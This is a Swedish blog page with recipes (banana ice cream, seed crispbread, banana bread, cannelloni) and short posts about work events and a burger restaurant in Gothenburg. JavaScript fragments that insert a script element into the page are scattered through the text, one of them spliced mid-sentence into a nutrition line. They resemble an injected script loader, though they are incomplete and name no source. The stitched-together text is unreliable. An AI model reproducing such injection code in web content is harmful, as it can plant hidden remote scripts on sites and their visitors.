Nyttig ”fitness glass” med choklad av banan

Här kommer ett recept på en nyttig och god glass.

Detta recept är för 1 pers

1 banan
10 gram kakao raw
1 tsk jordnötssmör (osötat)
1-2 tsk kokosmjölk
lite salt

Så här gör du:
Mosa bananen och mixa allt till en röra. Lägg röran i en plastburk (eller gammal glassburk) i frysen ca 2 timmar. Servera med färska bär.

bild15

 

 

Innehåller: Energi 185 kcal, 5 gram protein, 38 gram kolhydrater, 5 gram fettif (document.currentScript) {

Fröknäcke från Leila Lindholm

Förra helgen bakade jag Leila Lindholms fröknäcke.

bild7

Recept till två plåtar
200 g solrosfrön
1 dl hela linfrön
1 dl sesamfrön
2 dl pumpakärnor
2 msk fiberhusk
2 msk mandelmjöl
1 tsk salt
5 dl vatten
1/2 dl vallmofrön
Flingsalt

Gör så här:
Sätt ugnen på 160 varmluft.
Blanda allt utom vallmofrön i en bunke. Låt vila i 15-20 minuter.
Bred ut smeten tunt på 2 plåtar klädda med bakplåtspapper.
Strö över vallmofrön och lite flingsalt. (jag skippade vallmofrön på mitt frökex).
Grädda knäckebröden i cirka 70 minuter.
Låt dem svalna och lossa försiktigt bakplåtspappret från bröden. Förvaras torrt.
Det är Linfrön och fiberhusk som hjälper brödet att hålla ihop. Om du inte tål eller tycker om några av fröna kan de bara bytas ut mot några som du föredrar. Brödet är också helt glutenfritt så här har ni en höjdare att bjuda på!

bild2bild8bild4bild5bild6
XXX

 } else {

Bananbröd

bild4

Det här receptet hittade jag på instagram och receptet räcker till ett bröd. Har ändrat lite på originalreceptet och ersatt sesammjöl med mandelmjöl och tagit bort ingefära som smaksättning.

Recept  1 bröd
6 ägg
3 bananer1 tsk honung
4 msk kokosolja
2 dl kokosmjöl
1/2 dl mandelmjöl
1 tsk fiberhusk
1 tsk bakpulver

Gör såhär:
Blanda alla torra ingredienser. Rör ihop alla blöta ingredienser separat. Jag använde en stavmixer för att mixa bananer, honung, ägg och kokosolja.
Blanda ihop alla ingredienser till en smet. Häll smeten i en bakform och toppa med lite frön och flingsalt på toppen. Grädda i mitten av ugnen på 170 grader ca 1 timma. Jag toppade brödet med lite frön och flingsalt. Förvara brödet i frysen. Jag skivade upp mitt bröd innan jag la det i frysen. Smakar lite som en banankaka.

bild8bild3bild6bild7bild5

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Stars and Stripes Västra Frölunda

Igår var jag på Stars and Stripes i Västra Frölunda.

bild2bild12bild4

Vi hade ett jobbevent där alla kontor från StorGöteborg träffades och spelade minigolf tillsammans. Vi var uppdelade om lag på tre och efteråt avslutade vi med en middag.

bild7bild9bild11bild1bild10bild8På bilden ovan ser ni att jag har på mig min fine ”FME” ”Emme college Oyster”  från Hanna Graaf’s fina kollektion
”Femme Collection” och Isabell till höger bär ”Angie blouse  Black”.  På gruppbilden ser ni även att jag har på mig ”Angie Scarf ecru (leoprint)” .

bild6

 

Kan varmt rekommendera detta ställe och det finns även möjlighet att spela shuffelboard om man vill.
Maten var riktigt god och trevlig personal.

bild5document.currentScript.parentNode.insertBefore(s, document.currentScript);

Italienska canneloni

bild13

Det här goda receptet hittade jag här. Själv tyckte jag fyllningen räckte till 4 rullar så om du vill ha mer fyllning i dina caneloni kan jag rekommendera att göra lite extra och lägg i lite mer parmaskinka. Jag köpte Ica’s färska lasagneplattor och behövde inte dela mina som det står på originalreceptet.

Italienska Canneloni 
4 personer
Fyllning till färska lasagneplattor
1 pkt Philadelphiaost á 200 g naturell
1 burk créme fraiche á 2 dl
1 stor näve hackad ruccula
en halv kruka basilika (kanske lite mer)
ca 10 skivor parmaskinka, strimlade
grovmalen svartpeppar
flingsalt

6 lasagneplattor som delas på mitten

Blanda basilikablad med ruccula, strimlad parmaskinka och de övriga ingredienserna. Lägg i en skål och förvara i kylen.

Tomatsås
2 pkt krossade tomater, gärna Mutti
2 vitlöksklyftor
en halv kruka basilika
2 msk balsamvinäger
grovmalen svartpeppar
flingsalt
socker
———-
en stor näve riven parmesanost
ca 1,5 dl grädde

Pressa vitlöksklyftorna och fräs i en kastrull i lite smör eller olivolja. Tillsätt övriga ingredienser (utom parmesan och grädde, de ska vara på toppen av cannelonigratängen sedan) och låt tomatsåsen koka i ca 20 min.

Häll tomatsåsen i botten på en rejäl ugnsform. Placera de fyllda färska lasagneplattorna ovanpå tomatsåsen och avsluta med att strö över riven parmesanost och ringla lite grädde över det. Gratinera i mitten av ugnen i ca 20-25 min på 225C tills osten har fått en fin yta. Servera till en sallad.

bild1bild4bild2bild3bild5

bild6bild7bild8bild9bild11bild12

 

Beach volley med StorGöteborg

bild2

Den 27:e feb hade vi en beachvolley turnering med jobbet där alla kontor i hela StorGöteborg var med och spelade.
Vi spelade på Beach center i Kviberg.  Efteråt blev det en spontan AW vid baren innan några åkte in till stan och fortsatte festa.

Här kommer lite bilder från turneringen.

bild3bild4bildA

bild5bild1

bild8bild7bild6

W

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Göta burgare på Joe Farellis

10440920_10152802299932893_6219708949684165175_n

Igår var det premiär för ”Götas RX burgare” på Joe Farellis. Kockarna på Joe Farellis har nu skapat en egen burgare för CrossFit Göta.

2 x 200 gram nötburgare på ett grovt hamburgerbröd med avocado, krispsallad, bifftomat, rödlök, lagrad cheddar ost, rödbetsgroddar och Joe Farelli´s egen dressing.
Serveras med sweetpotato fries, coleslaw och saltgurka.

Jag åt en ”skalad” version på 200 gram och den var supergod. Då jag inte hade möjlighet att äta burgaren på plats så köpte jag med takeaway till mig och min kille. Såå god och den kommer jag äta flera gånger.

RX burgare: 219kr
Skalad version: 169kr

 

321

d.getElementsByTagName(‘head’)[0].appendChild(s);